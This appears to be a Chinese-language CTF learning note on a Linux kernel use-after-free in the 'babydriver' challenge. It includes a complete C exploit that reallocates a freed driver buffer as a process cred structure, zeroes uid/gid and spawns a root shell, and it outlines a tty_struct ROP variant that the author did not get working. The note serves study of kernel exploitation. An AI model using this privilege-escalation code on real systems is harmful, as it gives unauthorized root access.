kernel UAF
kernel UAF
太菜啦太菜啦,Jmp.Cliff真的太菜了。
原理
本质上和用户态的堆题的UAF是一个原理
实现的效果都是能让我们拥有一个指向“非法区域”的指针,用户态的堆题里一般漏洞出在释放后未及时置零,在kernel里也是同理。
对于slub堆管理器仍待继续学习。
例题
经典例题babydriver,fops注册的babyioctl函数会进行kmalloc,大小由我们任意控制,但是在babyrelease时并未将指针置零。
我们可以连续进行两次open,然后再close掉其中一个文件描述符。此时device_buf指向的空间已经被free,但指针未置零。我们可以利用剩余的一个文件描述符配合write和read进行相关操作。
一个想法就是fork一个子进程,然后让新申请的进程cred分配在刚刚被释放的这个空间(cred大小为0xa8),然后利用write去修改这段内存覆盖gid和uid,实现提权。
EXP
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/mman.h>
int babydev[2]={0};
size_t buf[0x8]={0};
size_t fake_op[0x8]={0};
int backdoor(){
system("/bin/sh");
return 0;
}
unsigned long long user_cs=0,user_ss=0,user_sp=0,user_rflags=0;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
int main(){
save_status();
babydev[0]=open("/dev/babydev",O_RDWR);
babydev[1]=open("/dev/babydev",O_RDWR);
if((!babydev[0])||(!babydev[1]))
{
printf("open babydev failed!\n");
}
ioctl(babydev[0], 0x10001, 0xA8);
close(babydev[0]);
int pid = fork();
if(pid<0)
{
printf("ERROR!\n");
return 0;
}
else if(pid==0)
{
char buf[30] = {0};
write(babydev[1], buf, 28);
backdoor();
}
else
{
wait(0);
}
return 0;
}
关于tty
看了另一个解法,是在close后open一个tty设备,让tty_struct分配到这个内存中,然后劫持tty_operations指针指向一个我们构造好的函数指针数组。通过向这个设备去write,调用我们构造好的相关gadget,实现栈迁移到提前布置好的rop链子上,再实现提权。
上面的那个解法似乎在新版本的kernel不可行,因为新的slub规则发生了变化。但是这个利用tty设备的方法我也没有试验成功。个人觉得应该是因为KPTI使得内核和用户空间页表发生了隔离的缘故,原EXP中再用户态布置ROP链子的行为不再可行。
具体原因仍待考察。